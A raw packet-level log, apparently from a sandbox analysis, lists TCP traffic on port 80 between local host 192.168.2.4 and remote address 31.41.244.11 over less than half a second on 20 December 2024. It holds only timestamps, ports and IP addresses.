Dec 20, 2024 09:12:30.973398924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.973444939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.973453999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.973495960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.974256992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.974303961 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.974343061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.974386930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.975101948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.975147963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.975174904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.975219011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.975960016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.976003885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.976051092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.976108074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.976836920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.976864100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.976885080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.976901054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.977664948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.977735996 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.977763891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.977807999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.978501081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.978544950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.978583097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.978627920 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.979347944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.979393959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.979440928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.979486942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.980199099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.980243921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.980321884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.980365038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.981045961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.981090069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.981136084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.981180906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.981884956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.981930017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.981976032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.982022047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.982729912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.982772112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.982846022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.982889891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.983588934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.983634949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.983694077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.983738899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.984442949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.984487057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.984534025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.984580040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.985282898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.985331059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.985512972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.985558033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.986145973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.986191988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.986241102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.986283064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.987057924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.987102032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.987149954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.987193108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.987874031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.987941980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.987978935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.988023043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.988687038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.988729954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.988822937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.988867998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.989531040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.989574909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.989641905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.989687920 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.990415096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.990458965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.990498066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.990547895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.991187096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.991234064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.139688969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.139746904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.139885902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.139930964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.140058994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.140101910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.140295029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.140340090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.141001940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.141020060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.141048908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.141066074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.141860962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.141906977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.142018080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.142061949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.142187119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.142204046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.142235041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.142250061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.142699003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.142738104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.142841101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.142894983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.143582106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.143630028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.143680096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.143721104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.144413948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.144459963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.144530058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.144567013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.145276070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.145315886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.145354033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.145394087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.146096945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.146172047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.146209955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.146253109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.146975994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.147022963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.147022963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.147068977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.149041891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.149059057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.149075985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.149092913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.149094105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.149111986 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.149125099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.149148941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.149513006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.149557114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.149627924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.149668932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.150368929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.150418997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.150458097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.150500059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.151222944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.151269913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.151324987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.151376009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.152213097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.152261019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.152306080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.152354956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.152934074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.152975082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.153042078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.153090954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.153755903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.153804064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.153855085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.153894901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.154593945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.154637098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.154824972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.154870987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.155443907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.155488968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.155572891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.155620098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.156326056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.156373024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.156640053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.156687975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.157143116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.157182932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.157243967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.157286882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.157994986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.158044100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.158088923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.158134937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.158833027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.158879995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.158946991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.158993006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.159718990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.159759998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.159866095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.159913063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.160537958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.160586119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.160638094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.160680056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.161391020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.161432028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.161478043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.161523104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.162245035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.162286997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.162333012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.162377119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.163094997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.163144112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.163189888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.163239002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.163969994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.164012909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.164088011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.164123058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.164798975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.164840937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.164885998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.164928913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.165622950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.165674925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.165741920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.165783882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.166488886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.166532040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.166606903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.166646957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.167345047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.167387009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.167459965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.167499065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.168190002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.168235064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.168282032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.168324947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.169080973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.169131994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.169171095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.169218063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.169894934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.169941902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.169986963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.170033932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.170738935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.170779943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.170850992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.170897007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.171618938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.171669006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.171746969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.171787977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.172445059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.172488928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.172529936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.172578096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.173286915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.173329115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.173405886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.173444986 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.174160004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.174200058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.174246073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.174362898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.174981117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.175024986 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.175071001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.175112009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.175868034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.175915956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.175961971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.176002026 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.176701069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.176748037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.176831961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.176877975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.177519083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.177561045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.177622080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.177658081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.178375006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.178414106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.178498983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.178544998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.179243088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.179286957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.179331064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.179373980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.180085897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.180138111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.180181980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.180229902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.180934906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.180983067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.180982113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.181021929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.181770086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.181816101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.181870937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.181911945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.182620049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.182662010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.182712078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.182756901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.183444977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.183487892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.331212997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.331321955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.331377029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.331604004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.331752062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.331800938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.332457066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.332509041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.332674026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.333318949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.333364964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.333451033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.334176064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.334224939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.334232092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.334275007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.335014105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.335159063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.335205078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.335886002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.335993052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.336039066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.336729050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.336819887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.336862087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.337546110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.337660074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.337701082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.338435888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.338486910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.338604927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.338645935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.339261055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.339380980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.339427948 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.340127945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.340238094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.340284109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.340955019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.340997934 CET	49808	80	192.168.2.4	31.41.244.11
